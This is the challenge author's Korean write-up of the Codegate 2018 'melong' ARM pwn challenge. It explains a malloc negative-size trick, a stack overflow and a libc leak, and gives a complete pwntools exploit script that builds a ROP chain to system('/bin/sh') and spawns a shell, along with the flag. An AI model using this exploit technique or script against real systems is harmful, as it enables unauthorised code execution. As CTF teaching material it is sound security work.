By puing | March 2, 2018
Codegate2018 melong 출제자 Write Up
안녕하세요. 이번에 Codegate2018 예선에 melong
과 droid
문제를 출제한 puing 입니다.
이번 글에서는 melong
문제에 대한 write-up 을 써 볼까 합니다.
해당 문제에서는 melong
이라는 바이너리가 주어집니다.
$ file melong
melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
32bit arm 바이너리네요 :)
실행 후 아래와 같은 화면을 볼 수 있습니다.
$qemu-arm -L /usr/arm-linux-gnueabi ./melong
Welcome to the BPSEC gym
1. Check your bmi
2. Exercise
3. Register personal training
4. Write daily record
5. Have some health menu
6. Out of the gym
-L
옵션은 라이브러리 경로를 의미합니다.
저같은 경우엔 arm 바이너리를 실행하기 위해 아래와 같이 필요한 것들을 차례대로 설치하였습니다.
$sudo apt-get install qemu
$sudo apt-get install -y gcc-multilib-arm-linux-gnueabi
$sudo apt-get install -y gcc-multilib-arm-linux-gnueabihf
정상적으로 설치가 되었다면 /usr/arm-linux-gnueabi
에 라이브러리, 헤더파일 등등이 생기게됩니다. 이를 실행할 때 라이브러리 경로를 지정해주어 실행시켰습니다.
Melong Overview
Welcome to the BPSEC gym
이라는 문자열과 함께 1~6번까지의 옵션이 보입니다.
헬스장에 온걸 환영한다는 문구와함께 옵션 다음과 같은 옵션을 확인할 수 있습니다.
1. bmi 측정하기
2. 운동하기
3. pt 등록하기
4. 일별 일지 쓰기
5. 건강식 먹기
6. 헬스장 나가기
1번 옵션을 선택하면 bmi 를 측정할 수 있습니다.
미터 단위로 키를 입력하고 킬로그램 단위로 몸무게를 입력하면 bmi 를 출력해줍니다.
Type the number:1
Let's check your bmi!!
bmi(Body Mass Index) is a value derived from the mass (weight) and height of an individual. The BMI is defined as the body mass divided by the square of the body height, and is universally expressed in units of kg/m2, resulting from mass in kilograms and height in metres. - Wiki
Input your height and mass
Your height(meters) : 1.8
Your height : 1.800000
Your weight(kilograms) : 80
Your weight : 80.000000
bmi <= 18.4 : underweight
18.5 < bmi < 24.9 : optimal weight
25 < bmi < 29.9 : overweight
30 < bmi : obese
Your bmi is : 24.691358
You are optimal weight !!
키 1.8
, 몸무게 80
을 입력했을 경우 24.69..
로 bmi 가 측정되고 정상 체중이라고 알려줍니다.
그대로 2번 옵션을 선택하여 운동을 하려고하면 이미 건강하다며 운동할 필요가 없다고 나옵니다.
Type the number:2
You are already healthy
You don't need to exercise
3번 옵션을 선택하면 얼마나 트레이닝을 받을 것인지 물어보고, 아무값(100) 을 입력했더니 bmi 를 다시 측정하라고 나옵니다.
Type the number:3
Let's start personal training
How long do you want to take personal training?
100
Check your bmi again!!
4번 옵션을 선택하면 트레이닝을 먼저 받고 오라는 문자열을 출력해줍니다.
Type the number:4
you should take personal training first!!
1. Check your bmi
2. Exercise
3. Register personal training
4. Write daily record
5. Have some health menu
6. Out of the gym
Reversing with IDA
이제 이 바이너리를 아이다를 이용해 열어 분석 해 봅시다.
main
함수에서는 melong
을 실행했을 때 처음 출력되는 문자열을 볼 수 있습니다.
write_diary
함수를 보니, read
함수로 사용자의 입력을 받습니다. 그리고 입력받은 값은 a2
로 들어가게됩니다.
이 a2
는 v5
의 주소이고 ebp-0x54
만큼 떨어져있습니다.
write_diary
함수에서 사용자의 입력값이 ebp-0x54
에서부터 차례대로 써질것입니다.
그리고 write_diary
의 첫 번째 인자 v8
만큼 사용자의 입력을 받습니다.
v8
은 PT 함수의 리턴값
이 담겨있는 곳입니다.
PT 함수에서 어떤 값을 리턴하는지 아래의 화면을 봅시다.
트레이닝을 얼마나 받을 것인지 입력을 받은 후, 입력받은 만큼 malloc
함수로 메모리를 할당받은 후 그 주소가 exc2
와 같으면 사용자가 입력한 값을 그대로 리턴해줍니다.
이 exc2
값이 무엇인지 한 번 알아봅시다.
먼저 1번 옵션을 선택하여 bmi 를 측정하게되면 check
함수가 호출됩니다.
check
함수에서 키와 몸무게를 입력받고 calc
,get_result
함수를 차례대로 호출합니다.
calc
함수에서는 계산을 통해 bmi 를 출력합니다.
get_result
함수에서는 bmi 만큼 malloc
으로 메모리를 할당해주고 할당받은 주소를 exc
, exc2
에 저장합니다.
처음 bmi 를 측정하여 bmi 만큼 malloc
으로 할당받고, 할당받은 주소는 exc
에,
그 다음에 bmi 측정하여 bmi 만큼 malloc
으로 할당받고 그 주소는 exc2
로 가게됩니다.
따라서 PT 함수에서 새로 할당받은 주소와 두 번째 bmi 를 측정하고 할당받은 주소가 같아야합니다.
그래야 write_diary
함수에서 사용자 입력만큼 쓸 수 있는거니까요!
일단, 두 번째 bmi 를 측정하여 get_result
함수에서 할당받은 메모리를 free
해야 PT 함수에서 malloc
으로 같은 주소에 할당 받을 수 있겠죠? 이미 malloc 으로 할당받은 주소를 free 해주지 않았는데 같은 주소를 할당해줄 수 없으니까요.
free
를 해주는 곳은 exercise
라는 함수입니다.
exc
와 exc2
를 free 해줍니다.
따라서 취약점 트리거 순서는 다음과 같습니다.
1. bmi 를 2번 측정 한다.
2.exercise
함수에서free
를 한다.
3.PT
함수에서malloc
할당받은 주소와exc2
가 같으면 큰 수를 입력하여write_diary
에서 overflow를 일으킨다.
여기서 관건은 어떻게 같은 주소를 할당 받느냐
인데,
malloc
함수로 메모리 할당받을때 사이즈를 음수
로 지정하면 그 다음부터는 같은 주소를 반환해줍니다.
이게 무슨 말인가 하면, 아래와 같습니다.
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *p, *p1, *p2;
int input;
p = malloc(10);
printf("%p\n", p);
free(p);
p1 = malloc(39);
printf("%p\n", p1);
free(p1);
p2 = malloc(120);
printf("%p\n", p2);
free(p2);
return 0;
}
위의 코드를 32bit 환경에서 실행할 경우 각기 다른 주소에 할당 해주는 것을 알 수 있습니다.
실행 결과는 아래와 같습니다.
$ ./test
0x9844008
0x9844420
0x9844450
하지만 처음 10바이트 만큼을 -10으로 바꿔주면 결과는 어떻게될까요?
$ ./test
(nil)
0xf7400878
0xf7400878
같은 주소를 반환해주는 것을 알 수 있습니다.
이를 이용해서 같은 주소를 반환하게하여 PT
함수에서 원하는 수 입력할 수 있도록 해봅시다.
음수를 사이즈로 두고 malloc 함수를 호출할 경우, 언제나 같은 주소를 반환 해 주는 것은 아닙니다.
사이즈를 얼마나 할당하느냐에 따라 같은 주소를 반환할수도,아닐수도 있다는 것을 주의 해 주세요.
write_diary
함수에서 overflow
를 일으킬 수 있는데, return address 주소를 어떻게 바꾸면 좋을까요?
/bin/sh
을 인자로 한 system
함수를 실행시켜봅시다.
arm
시스템의 경우에는 함수의 인자를 스택에 저장하지 않고 r0, r1,.. 과 같은 레지스터에 저장
합니다.
그래서 system("/bin/sh")
을 실행시키려고 할 경우, r0
에는 /bin/sh
문자열의 주소가 있어야 합니다.
먼저 /bin/sh
문자열의 위치를 찾아보면 offset 0x12121c
에 해당 문자열이 위치해있습니다.
IDA로 libc
파일을 열어본 화면입니다.(대회에서는 libc 파일이 따로 제공되지 않았습니다.)
offset 0x38634
에 system 함수
가 위치해있습니다.
그럼 이제, r0 레지스터에 /bin/sh
주소를 넣어주는 가젯을 찾아봅시다.
offset 0x59668 에 위치한 명령어를 봅시다.
sp + 4 에 있는 주소를 r0 에 넣어줍니다. 이 명령어를 이용하여 r0 에 /bin/sh
문자열 주소를 넣어줄 수 있습니다. return address 를 offset 0x59668 로 설정하고 sp+4 에 /bin/sh
문자열 주소를 넣어주면 되겠죠?
그리고 스택주소의 +12 값으로 pc 값이 바뀝니다.
sp+4
에 /bin/sh
문자열 주소를 위치시키면 r0
에는 /bin/sh
문자열의 주소가 들어가게되고,
sp+12
에 있는 값이 pc
로 들어가게되어 그 곳으로 jmp
하게 됩니다.
때문에 sp+12
에 system 함수의 주소를 넣어주면 system
함수가 실행되겠죠? :)
따라서 payload를 gadget_addr + dummy(4) + /bin/sh_addr + dummy(4) + system_addr
와 같이 작성하면,
sp+4
에있는 /bin/sh
주소가 r0
에 담기고 sp+12
에있는 system
함수 주소가 pc
에 담기게 됩니다.``
하지만 return address
를 바꾸기 전에, 먼저 memory leak
을 통해 libc base
주소를 알아내봅시다.
main 함수가 끝나는 부분인 main+452 에 브포를 걸고 스택값을 봅시다.
0x00011278 <+428>: ldr r0, [pc, #76] ; 0x112cc <main+512>
0x0001127c <+432>: bl 0x104a8 <puts@plt>
0x00011280 <+436>: nop ; (mov r0, r0)
0x00011284 <+440>: b 0x11138 <main+108>
0x00011288 <+444>: mov r0, r3
0x0001128c <+448>: sub sp, r11, #4
0x00011290 <+452>: pop {r11, pc}
gdb-peda$ x/10wx $sp
0xf6ffef30: 0x00000000 0xf6682d14 0xf67ab000 0xf6fff084
0xf6ffef40: 0x00000001 0x000110cc 0xb42fda0f 0xb4b819e7
0xf6ffef50: 0x00011cd4 0x00000000
0xf6682d14 libc_start_main
주소가 보입니다.
offset 0x16d14
에 위치한 명령어입니다. 이 주소를 먼저 leak
한 수에 system
, /bin/sh
, gadget 주소
를 계산합니다.
write_diary
에 존재하는 read 함수에 브레이크포인트를 걸고 우리가 입력한 값의 위치를 확인해보면, 우리가 leak 해야할 주소가 있는 0xf6ffef34
와 84byte
만큼 떨어져 있다는 것을 알 수 있습니다.
gdb-peda$ i r
r0 0x0 0x0
r1 0xf6ffeee0 0xf6ffeee0
r2 0x78 0x78
r3 0x78 0x78
...
lr 0x11254 0x11254
pc 0x10710 0x10710 <write_diary+60>
cpsr 0x20000010 0x20000010
gdb-peda$ x/3i $pc
=> 0x10710 <write_diary+60>: bl 0x10484 <read@plt>
0x10714 <write_diary+64>: ldr r1, [r11, #-20] ; 0xffffffec
0x10718 <write_diary+68>: ldr r0, [pc, #12] ; 0x1072c <write_diary+88>
>>> print 0xf6ffef34 - 0xf6ffeee0
84
개행문자까지 포함하여 필요한 84byte를 위해 dummy 83byte
를 입력하여 그 다음에 위치한 libc_start_main
주소를 leak 한 후, system
, /bin/sh
, gadget 주소
를 계산하여 return address 를 바꾸면 정상적으로 쉘을 획득할 수 있습니다.
magic gadget 을 패치하지 않았기 때문에, return address 를 magic gadget 주소로 덮어씌워서 문제를 풀 수도 있습니다.
flag는 D0n7_7h1nk_7ha7_1_Can_3xp1ain_it
였습니다 :)
ex.py
import binascii
from pwn import *
payload = ""
if len(sys.argv) > 1:
REMOTE = True
else :
REMOTE = False
if REMOTE :
# output = remote('ch41l3ng3s.codegate.kr',1199)
output = remote('127.0.0.1',7777)
else :
output = process('./test')
def checkbmi(num,h,w):
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
print output.recvuntil('Input')
payload = h
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n') #input height
print output.recvuntil('Your')
payload = w
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n') #input weight
def exercise(num):
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
def pt(num,h):
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
print output.recvuntil('training')
payload = h
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
def diary(num,cnt,gadget_addr,system_addr,bin_addr):
if (cnt == 1):
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
payload = "a"*75
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
print output.recvuntil("wrote ")
print output.recv(76)
stack_leak = output.recv(4)
print u32(binascii.hexlify(stack_leak).decode())
stack_leak = int(hex(p32(output.recv(4))),16)
print hex(stack_leak)
return stack_leak
elif(cnt == 2) :
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
payload = "i"*83
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
print output.recvuntil("wrote ")
print output.recv(84)
libc_leak = int(hex(u32(output.recv(4))),16)
print hex(libc_leak)
return libc_leak
else :
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
payload = "a" * 76
payload += "a" * 4
payload += "a" * 4
payload += p32(gadget_addr)
payload += "a" * 4
payload += p32(bin_addr)
payload += "a" * 4 # dummy
payload += p32(system_addr)
print 'payload is : %s' %payload
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
print output.recvuntil("wrote ")
print output.recv(100)
def out(num):
payload = num
if REMOTE :
output.sendline(payload)
else :
output.stdin.write(payload + '\n')
def main():
print output.recvuntil('Out of the gym')
checkbmi("1","1","-10") #check bmi
print output.recvuntil('Out of the gym')
exercise("2") #exercise & free
print output.recvuntil('Out of the gym')
checkbmi("1","1","39") #check bmi
print output.recvuntil('Out of the gym')
exercise("2") #exercise & free
print output.recvuntil('Out of the gym')
pt("3","120") #pt
print output.recvuntil('Out of the gym')
leak = diary("4",2,0,0,0) #libc leak
libcbase = int(leak) - 0x16d14
print 'libcbase addr : %x ' % libcbase
system_addr = libcbase + 0x38634
bin_addr = libcbase + 0x12121c
gadget = libcbase +0x59668
print 'system_addr : %x ' % system_addr
print 'bin_addr : %x ' % bin_addr
print 'gadget addr : %x ' %gadget
print output.recvuntil('Out of the gym')
diary("4",3,gadget, system_addr,bin_addr) # get eip
print output.recvuntil('Out of the gym')
out("6") #finish
output.interactive()
main()